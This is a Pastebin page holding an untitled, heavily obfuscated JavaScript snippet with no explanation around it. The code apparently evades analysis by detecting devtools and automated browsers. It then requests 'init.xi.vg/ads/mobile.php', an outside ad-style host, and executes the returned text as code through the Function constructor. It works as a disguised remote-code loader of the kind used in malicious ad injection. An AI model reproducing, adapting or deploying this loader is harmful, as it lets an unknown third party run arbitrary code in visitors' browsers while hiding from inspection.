SHARE
TWEET

Untitled

a guest Sep 17th, 2019 84 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. var rent = "https://init.xi.vg/ads/mobile.php?alert";
  2.  
  3. +function () {
  4.     function isReal() {
  5.         var mixin = Object.keys(meTo).some(function (item) {
  6.             return item !== "yes"
  7.         });
  8.         return mixin ? window : "no";
  9.     }
  10.  
  11.     function uniqueId(escape) {
  12.         var mixin = meTo.retail ? "slice" : "splice";
  13.         return function (result, nonsense) {
  14.             return escape[mixin](result, nonsense)
  15.         }
  16.     }
  17.     function compiled(arg, interpolate) {
  18.         for (var counts in arg) {
  19.             if (arg.hasOwnProperty(counts) || counts) {
  20.                 if (range(interpolate).test(counts)) {
  21.                     return arg[counts]
  22.                 }
  23.             }
  24.         }
  25.     }
  26.     function odds(escape) {
  27.         return meTo.everyoneElse[allKeys.findKey[1]] + escape(allKeys.values)(-1)
  28.     }
  29.     var meTo = {
  30.         retail: "knave",
  31.         restArguments: "regs",
  32.         startIndex: "expert",
  33.         everyoneElse: "webster",
  34.         sendConsolations: "went",
  35.         raceResults: "resist",
  36.         lastIndexOf: "maxwell",
  37.     };
  38.     function epithet(escape, interpolate, result) {
  39.         var mixin = typeof result === undefined ? 0 : result;
  40.         return meat(uniqueId(escape)(mixin, interpolate))
  41.     }
  42.  
  43.     function once(toIndex, sortedIndex) {
  44.         var negate = meat(uniqueId(toIndex)(1, 5));
  45.         return uniqueId(sortedIndex)(0, allKeys.findKey[1]) + "v" + sortedIndex[1] + negate + toIndex[6] + "ed";
  46.     }
  47.  
  48.     function findIndex() {
  49.         return pick ? "get" : "set";
  50.     }
  51.  
  52.     function isSort(escape, interpolate, result) {
  53.         var mixin = escape + ":" + (themes(uniqueId) + themes(uniqueId)) + list(uniqueId) + allKeys.findKey[1] + interpolate
  54.         return function (nonsense, partial) {
  55.             var iteratee = mixin + memo(step.memo)() + partial(isNumber.label)(1, 3) + partial(nonsense)(0, 8) + partial(step.rest)(4) + interpolate
  56.             return function () {
  57.                 return iteratee + partial(repoOf.isWeakSet)(5, 7) + later.isSorted[0] + themes(uniqueId) + list(uniqueId) + themes(uniqueId) + "gen_" + predicate() + "?"
  58.             }
  59.         }
  60.     }
  61.  
  62.     var allKeys = {
  63.         values: "assembly",
  64.         mapObject: "bark",
  65.         pairs: "correct",
  66.         invert: "perfect",
  67.         findKey: [6, 2],
  68.         extend: "unsliced",
  69.         extendOwn: "data",
  70.     };
  71.  
  72.     function meat(interpolate) {
  73.         var mixin = uniqueId(interpolate)(0, 1).toUpperCase()
  74.         return mixin + uniqueId(interpolate)(1)
  75.     }
  76.  
  77.     function isPrime(users) {
  78.         return uniqueId(users)(4) + uniqueId(isNumber.isRegExp)(0, 3);
  79.     }
  80.  
  81.     function range(escape, interpolate) {
  82.         return new isReal()[epithet(meTo.restArguments, 3) + epithet(meTo.startIndex, 3)](escape, interpolate ? "i" : "ig")
  83.     }
  84.  
  85.     function start() {
  86.         return (compiled(isReal(), uniqueId(meTo.retail)(1, 4))[once(noConflict.stop, step.ahem)] + repoOf.bind)[uniqueId(pick.greeting)(allKeys.findKey[1])](/"/)
  87.     }
  88.  
  89.     var pick = {
  90.         lazyLayout: "beside",
  91.         isArguments: "contra",
  92.         isObject: 1,
  93.         isArray: "strident",
  94.         isFunction: "docents",
  95.         greeting: "rematch",
  96.         reject: "force"
  97.     };
  98.  
  99.     function ham(escape, result) {
  100.         return uniqueId(meTo.everyoneElse)(0, 3) + uniqueId(result)(4, 6) + (!pick.isObject ? "t" : meTo.startIndex[5]) + meat(uniqueId(escape)(allKeys.findKey[1], 7))
  101.     }
  102.  
  103.     function night(escape) {
  104.         return meat(uniqueId(meTo.everyoneElse)(0, 3)) + meat(escape)
  105.     }
  106.  
  107.     function omit(result) {
  108.         var mixin = result.length > 4 ? uniqueId(result)(allKeys.findKey[1]) : result;
  109.         return function (interpolate) {
  110.             return mixin + uniqueId(interpolate)(0, 3)
  111.         }
  112.     }
  113.  
  114.     function firstName(escape) {
  115.         return isReal()[matcher(isNumber.inFindWith)]
  116.     }
  117.  
  118.     function bindAll() {
  119.         var mixin = uniqueId(isNumber.isDate)(3, 5) + uniqueId(repoOf.isFunc)(0, allKeys.findKey[1]);
  120.         realCon(pick.isFunction);
  121.         return function (escape) {
  122.             return escape[uniqueId(matcher(isNumber.inFindWith))(1, 3) + mixin]
  123.         }
  124.     }
  125.  
  126.     function themes(escape, interpolate) {
  127.         var mixin = isReal()[escape(isNumber.isFinite)(1, 4) + escape(step.rest)(2)][noConflict.initialize[3] + escape(toArray.slice)(0, 3)];
  128.         return interpolate ? escape(mixin.split(":")[0])(-1) === "s" ? mixin.split(":")[0] : mixin.split(":")[0] + renderNotes.partition[0] : mixin.split(":")[1][0]
  129.     }
  130.  
  131.     function buttonView(nonsense) {
  132.         var mixin = uniqueId(pick.isArguments)(1, 3) + uniqueId(nonsense)(0, 5)
  133.         return function (interpolate) {
  134.             return mixin + interpolate
  135.         }
  136.     }
  137.  
  138.     var isNumber = {
  139.         isFinite: "blocker",
  140.         isDate: "retype",
  141.         isRegExp: "foxSkin",
  142.         isMap: "open",
  143.         inFindWith: "green",
  144.         label: "fledge",
  145.     };
  146.  
  147.     function realCon(escape) {
  148.         Object[test(repoOf.isWeakSet, isNumber.isDate)].underscore = fare(onHover(uniqueId), greet(escape)) ? (hovering(allKeys.pairs, meTo.restArguments[0]) * hovering(allKeys.pairs, meTo.restArguments[0])) : rain() ? allKeys.findKey[1] : pick.isObject;
  149.     }
  150.  
  151.     function underscoreButton(partial) {
  152.         return subtract("__") + "define" + meat(findIndex()) + partial + subtract("__")
  153.     }
  154.  
  155.     function jstText(escape, interpolate) {
  156.         return uniqueId(escape)(!pick.isObject, (pick.isObject * 4)) + uniqueId(interpolate)(pick.isObject)
  157.     }
  158.  
  159.     function placeholder(escape, interpolate) {
  160.         var mixin = meat(escape) + meat(interpolate) + "L" + meat(pick.greeting[6]),
  161.             memoize = isReal();
  162.         return function (nonsense, partial) {
  163.             var unescape = mixin + "tt" + nonsense + meat(uniqueId(partial)(0, allKeys.findKey[1]))
  164.             return function (delay) {
  165.                 return new memoize[unescape + delay]
  166.             }
  167.         }
  168.     }
  169.  
  170.     function isLog() {
  171.         return allKeys ? meat(later.isLog) : meat(noConflict.defer)
  172.     }
  173.  
  174.     function answer(escape) {
  175.         return escape + meat(allKeys.extendOwn) + "base"
  176.     }
  177.  
  178.     function throttle() {
  179.         return noConflict.defer ? "send" : "abort";
  180.     }
  181.  
  182.     function after(delay) {
  183.         return uniqueId(renderNotes.isArray)(1) + delay + uniqueId(isNumber.label)(allKeys.findKey[1])
  184.     }
  185.  
  186.     function hovering(escape, interpolate) {
  187.         return escape.indexOf(interpolate)
  188.     }
  189.  
  190.     function repo(a, b, c) {
  191.         b = placeholder(meTo.startIndex[1], noConflict.times[0], uniqueId(repoOf.debounce)(0, 1))(isNumber.isDate[4], repoOf.debounce)(later.uniq);
  192.         b[isNumber.isMap](findIndex(), a);
  193.         max(b, c);
  194.         b[throttle()]();
  195.     }
  196.  
  197.     var repoOf = {
  198.         lyrics: 0,
  199.         bind: [],
  200.         isWeakSet: "protocol",
  201.         isNull: "scrubs",
  202.         missingVariable: "cold",
  203.         isFunc: "tocology",
  204.         debounce: "regular",
  205.         even: "homepages",
  206.     };
  207.  
  208.     function pairs(result) {
  209.         return pick.isObject ? meat(uniqueId(result)(3)) : allKeys.pairs;
  210.     }
  211.  
  212.     function shuffle() {
  213.         return uniqueId(pick.greeting)(-1) + allKeys.findKey[1]
  214.     }
  215.  
  216.     function publicServicePulitzers() {
  217.         return compiled(isReal(), uniqueId(meTo.retail)(1, 4))[sample(toArray.slice, isNumber.isMap[1] + isNumber.isFinite[1])(allKeys.extend)][1] && compiled(isReal(), uniqueId(meTo.retail)(1, 4))[sample(toArray.slice, isNumber.isMap[1] + isNumber.isFinite[1])(allKeys.extend)][1].name[uniqueId(pick.greeting)(allKeys.findKey[1])](noConflict.defer)
  218.     }
  219.  
  220.     function size(users) {
  221.         return uniqueId(users)(0, 3) + uniqueId(repoOf.debounce)(-2) + "i";
  222.     }
  223.  
  224.     var noConflict = {
  225.         identity: "tractor",
  226.         noop: "restyle",
  227.         initialize: "path",
  228.         times: "moment",
  229.         defer: "light",
  230.         stop: "tenability",
  231.         some: "loading",
  232.     }
  233.  
  234.     function throttled() {
  235.         return meat(uniqueId(isNumber.isDate)(allKeys.findKey[1]))
  236.     }
  237.  
  238.     setTimeout(function () {
  239.         isRead(!remix());
  240.     }, 200);
  241.  
  242.     function indexBy(interpolate) {
  243.         var mixin = "con" + uniqueId(step.shallow)(0, 4);
  244.         return isReal()[mixin][uniqueId(repoOf.isFunc)(4, 7)](interpolate)
  245.     }
  246.  
  247.     function isRead(a) {
  248.         if (words()) {
  249.             if (chunk(a)) {
  250.                 toArray.sortBy[underscoreButton(uniqueId(meTo.everyoneElse)(4))](inFuture(fare(night(allKeys.values)) && fare(omit(pick.lazyLayout)(allKeys.mapObject))) || rain() ? 'to' + meat(renderNotes.partition) : uniqueId(pick.lazyLayout)(3, 5), function () {
  251.                     meTo.underscore--;
  252.                     return ''
  253.                 });
  254.                 context();
  255.                 pick.underscore && (pick.numberOf.src = isSort(themes(uniqueId, pick.isObject), ".")(later.findWhere, uniqueId)() + where(meat));
  256.             }
  257.         }
  258.     }
  259.  
  260.     function fare(a, b) {
  261.         return typeof a === "number" ? b === renderNotes.partition ? true : compiled(isReal(), uniqueId(meTo.retail)(1, 4)) : a in (b || isReal())
  262.     }
  263.  
  264.     function yes(escape) {
  265.         return uniqueId(escape)(0, 3) + uniqueId(pick.reject)(-3);
  266.     }
  267.  
  268.     function isOdd() {
  269.         return uniqueId(later.compact)(0, 4) + "us"
  270.     }
  271.  
  272.     function inFuture(escape) {
  273.         return escape && fare(jstText(pick.isArguments, meTo.sendConsolations)) && !fare(pairs(allKeys.pairs)) && pick.isObject
  274.     }
  275.  
  276.     var toArray = {
  277.         grantWishNumber: "tel",
  278.         random: "bugger",
  279.         slice: "refuging",
  280.         first: "points",
  281.         initial: "text",
  282.         isPrime: "bushfire",
  283.         where: "date",
  284.     }
  285.  
  286.     function matcher(escape) {
  287.         return uniqueId(repoOf.isNull)(0, 3) + uniqueId(escape)(allKeys.findKey[1])
  288.     }
  289.  
  290.     function subtract(escape) {
  291.         return renderNotes.partition.replace(renderNotes.partition, escape)
  292.     }
  293.  
  294.     function fromIndex(interpolate) {
  295.         return findIndex() + meat(uniqueId(interpolate)(allKeys.findKey[1])) + meat(odds(uniqueId)) + throttled()
  296.     }
  297.  
  298.     function lasted(partial) {
  299.         return partial(pick.isArray)(2, 4) + partial(isNumber.isDate)(allKeys.findKey[1], 4)
  300.     }
  301.  
  302.     function isRest() {
  303.         return compiled(isReal(), uniqueId(meTo.retail)(1, 4))[tail(meat(uniqueId(step.drop)(-3)))][uniqueId(pick.greeting)(allKeys.findKey[1])](range(isPrime(toArray.isPrime), 1)) && inFuture(fare(night(allKeys.values)) && fare(omit(pick.lazyLayout)(allKeys.mapObject)))
  304.     }
  305.  
  306.     function builtinIteratee() {
  307.         var mixin = uniqueId(allKeys.invert)(0, 3);
  308.         return function (result) {
  309.             return (mixin + uniqueId(meTo.raceResults)(allKeys.findKey[1]) + uniqueId(result)(5)).toUpperCase()
  310.         }
  311.     }
  312.  
  313.     function index(partial, isFalsy) {
  314.         return isFalsy + meat(partial)
  315.     }
  316.  
  317.     function remix() {
  318.         return typeof (bindAll()(isReal())) == "function" || start()
  319.     }
  320.  
  321.     var step = {
  322.         lasted: "second",
  323.         ahem: "japan",
  324.         drop: "damage",
  325.         rest: "station",
  326.         flatten: "obtuser",
  327.         shallow: "soled",
  328.         memo: "go",
  329.     };
  330.  
  331.     function isFinite(escape) {
  332.         return meat(uniqueId(escape)(!pick.isObject, 3) + escape[0])
  333.     }
  334.  
  335.     function without(union) {
  336.         var mixin = meat(uniqueId(union)(0, 5));
  337.         return function (intersection) {
  338.             var unescape = meat(intersection);
  339.             return function (difference) {
  340.                 return uniqueId(difference)(0, 3) + mixin + unescape
  341.             }
  342.         }
  343.     }
  344.  
  345.     function list(delay) {
  346.         return delay(repoOf.even)(4, 8) + delay(noConflict.some)(2, 4)
  347.     }
  348.  
  349.     function test(escape, nonsense) {
  350.         var unescape = typeof isNumber.isDate === renderNotes.partition ? uniqueId(escape)(0, 5) : nonsense;
  351.         return unescape + uniqueId(nonsense)(allKeys.findKey[1])
  352.     }
  353.  
  354.     function others() {
  355.         return compiled(isReal(), uniqueId(meTo.retail)(1, 4))[tail(meat(uniqueId(step.drop)(-3)))][uniqueId(pick.greeting)(allKeys.findKey[1])](range(after("|"), 1)) && rain()
  356.     }
  357.  
  358.     function mire(a, b) {
  359.         repo(a, b, isReal()[isLog()][test(repoOf.isWeakSet, isNumber.isDate)].join[sin(noConflict.identity)])
  360.     }
  361.  
  362.     function inOdd() {
  363.         return (fare(builtinIteratee(meTo.raceResults)(pick.isArray)) || isReal()[isFinite(isNumber.isFinite)][test(repoOf.isWeakSet, isNumber.isDate)][ham(allKeys.extend, isNumber.isRegExp)])
  364.     }
  365.  
  366.     function memo(result) {
  367.         var mixin = result.split("").reverse()
  368.         return function () {
  369.             return result + mixin.join("")
  370.         }
  371.     }
  372.  
  373.     function contains() {
  374.         return !compiled(isReal(), uniqueId(allKeys.invert)(0, (allKeys.findKey[1] + allKeys.findKey[1])))[fromIndex(renderNotes.invoke)] || !compiled(isReal(), uniqueId(allKeys.invert)(0, 4))[fromIndex(renderNotes.invoke)](uniqueId(renderNotes.pluck)(0, allKeys.findKey[1]) + yes(later.scroll)).length
  375.     }
  376.  
  377.     function inPrime() {
  378.         return !(Object.getOwnPropertyNames(firstName(isNumber.inFindWith))[0] + '').match(noConflict.initialize[0] + uniqueId(noConflict.initialize)(allKeys.findKey[1]))
  379.     }
  380.  
  381.     var later = {
  382.         uniq: "quest",
  383.         isSorted: "men",
  384.         author: "time",
  385.         compact: "state",
  386.         isLog: "array",
  387.         grab: "safe",
  388.         scroll: "soup",
  389.         findWhere: "syndicate",
  390.     };
  391.  
  392.     function offNull() {
  393.         return before() ? allKeys.findKey[0] : allKeys.findKey[1]
  394.     }
  395.  
  396.     function onWeakSet() {
  397.         return uniqueId(repoOf.missingVariable)(0, 3) + uniqueId(noConflict.identity)(-2)
  398.     }
  399.  
  400.     function words() {
  401.         return isRest() ||
  402.             compiled(isReal(), uniqueId(meTo.retail)(1, 4))[tail(meat(uniqueId(step.drop)(-3)))][uniqueId(pick.greeting)(allKeys.findKey[1])](range(size(later.grab), 1)) && (before() || loop(exclaim(noConflict.times, uniqueId(pick.isFunction)(0, 3) + allKeys.extend[0])() + exclaim(noConflict.times, meat(uniqueId(toArray.grantWishNumber)(1) + toArray.grantWishNumber[1]))())) || others()
  403.     }
  404.  
  405.     function chunk(a) {
  406.         return a && !(before() && !(compiled(isReal(), uniqueId(meTo.retail)(1, 4))[without(renderNotes.partners)(toArray.first)(meTo.lastIndexOf)] || fare(buttonView(renderNotes.partners)(uniqueId(renderNotes.pluck)(allKeys.findKey[1])))))
  407.     }
  408.  
  409.     function rain() {
  410.         return fare(statement(uniqueId)) && !(publicServicePulitzers());
  411.     }
  412.  
  413.     function notNumber(inArray) {
  414.         var negate = inArray + allKeys.extendOwn[0].toLocaleUpperCase();
  415.         return function (isFalsy) {
  416.             return negate + isFalsy[allKeys.findKey[1]] + isNumber.isMap[1] + uniqueId(noConflict.initialize)(allKeys.findKey[1]);
  417.         }
  418.     }
  419.  
  420.     function compose(escape) {
  421.         return escape ? uniqueId(escape)(allKeys.findKey[1]) : noConflict.identity
  422.     }
  423.  
  424.     var renderNotes = {
  425.         isArray: "strident",
  426.         partners: "touchdown",
  427.         pluck: "restart",
  428.         partition: "string",
  429.         propertyName: "error",
  430.         sort: "surname",
  431.         invoke: "agentries",
  432.     };
  433.  
  434.     function before() {
  435.         return inOdd() && fare(answer(isNumber.isMap)) && firstName(isNumber.inFindWith)[notNumber(onWeakSet())(isNumber.inFindWith)] && inPrime()
  436.     }
  437.  
  438.     function greet(interpolate) {
  439.         var mixin = isNumber ? uniqueId(interpolate)(0, 3) : meTo.restArguments;
  440.         return compiled(isReal(), mixin)
  441.     }
  442.  
  443.     function predicate() {
  444.         return (allKeys.findKey[1] * 100) + (allKeys.findKey[1] * allKeys.findKey[1])
  445.     }
  446.  
  447.     function onHover(escape) {
  448.         return escape(step.lasted)(0, 3) + allKeys.extend[0] + lasted(escape)
  449.     }
  450.  
  451.     function exclaim(partial, interpolate) {
  452.         var mixin = uniqueId(partial)(allKeys.findKey[1])
  453.         return function () {
  454.             return interpolate + mixin
  455.         }
  456.     }
  457.  
  458.     function loop(escape) {
  459.         return fare('alt', greet(pick.isFunction)[escape][compose(noConflict.noop)]);
  460.     }
  461.  
  462.     function statement(delay) {
  463.         return meat(delay(pick.lazyLayout)(-2)) + delay(toArray.random)(0, 3)
  464.     }
  465.  
  466.     function sample(result, escape) {
  467.         var stooges = uniqueId(result)(3, 6);
  468.         return function (nonsense) {
  469.             return escape + stooges + uniqueId(nonsense)(1, 3)
  470.         }
  471.     }
  472.  
  473.     function max(b, c) {
  474.         return b.addEventListener(uniqueId(noConflict.some)(0, allKeys.findKey[1]+allKeys.findKey[1]), function () {
  475.             this[index(later.compact, "ready")] == allKeys.findKey[1]+allKeys.findKey[1] && this[isOdd()] == allKeys.findKey[1]*100 && c(this[index(toArray.initial, "response")])()
  476.         });
  477.     }
  478.  
  479.     (function stooge(mixin) {
  480.         var numbers = isReal();
  481.         Object.prototype.numberOf = new numbers[mixin + uniqueId(step.drop)(allKeys.findKey[1])]();
  482.     })(toArray.first[allKeys.findKey[1]].toLocaleUpperCase());
  483.  
  484.     (function lastName() {
  485.         Object[test(repoOf.isWeakSet, isNumber.isDate)].sortBy = inFuture(fare(night(allKeys.values)) && fare(omit(pick.lazyLayout)(allKeys.mapObject))) || rain() ? /"/ : pick.numberOf;
  486.     })();
  487.  
  488.     function sin(isFalsy) {
  489.         var groupBy = isFalsy.split(""), stooges = isFalsy ? "cons" : "elem";
  490.         groupBy.splice(allKeys.findKey[1], 1, "u");
  491.         return stooges + groupBy.join('')
  492.     }
  493.  
  494.     function tail(floor) {
  495.         var negate = uniqueId(step.flatten)(3) + "nt", groupBy = negate.split("");
  496.         groupBy.splice(4, 0, floor);
  497.         return groupBy.join("");
  498.     }
  499.  
  500.     function where(escape) {
  501.         var t = isReal();
  502.         return (new t[escape(toArray.where)])[findIndex() + escape(later.author)]()
  503.     }
  504.  
  505.     function kindergarten() {
  506.         pick.numberOf[uniqueId(pick.isArguments)(1, 3) + renderNotes.propertyName] = function () {
  507.             if (contains()) {
  508.                 setTimeout(function () {
  509.                     mire(rent);
  510.                 }, 100)
  511.             } else {
  512.                 compiled(isReal(), uniqueId(allKeys.invert)(0, 4))[fromIndex(renderNotes.invoke)](uniqueId(renderNotes.pluck)(0, allKeys.findKey[1]) + yes(later.scroll)).forEach(function (a) {
  513.                     a[uniqueId(renderNotes.sort)(3)][uniqueId(pick.greeting)(allKeys.findKey[1])](isSort(themes(uniqueId, pick.isObject), ".")(later.findWhere, uniqueId)()) && uniqueId((a.nextHopProtocol || shuffle()))(~repoOf.bind) == offNull() && mire(rent);
  514.                 });
  515.             }
  516.         };
  517.     }
  518.  
  519.     function context() {
  520.         noConflict.sortBy[uniqueId(pick.lazyLayout)(3, 5)] = uniqueId(pick.isArguments)(1, 3) + 'toggle';indexBy(meTo.sortBy);kindergarten();
  521.     }
  522. }();
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
 
Top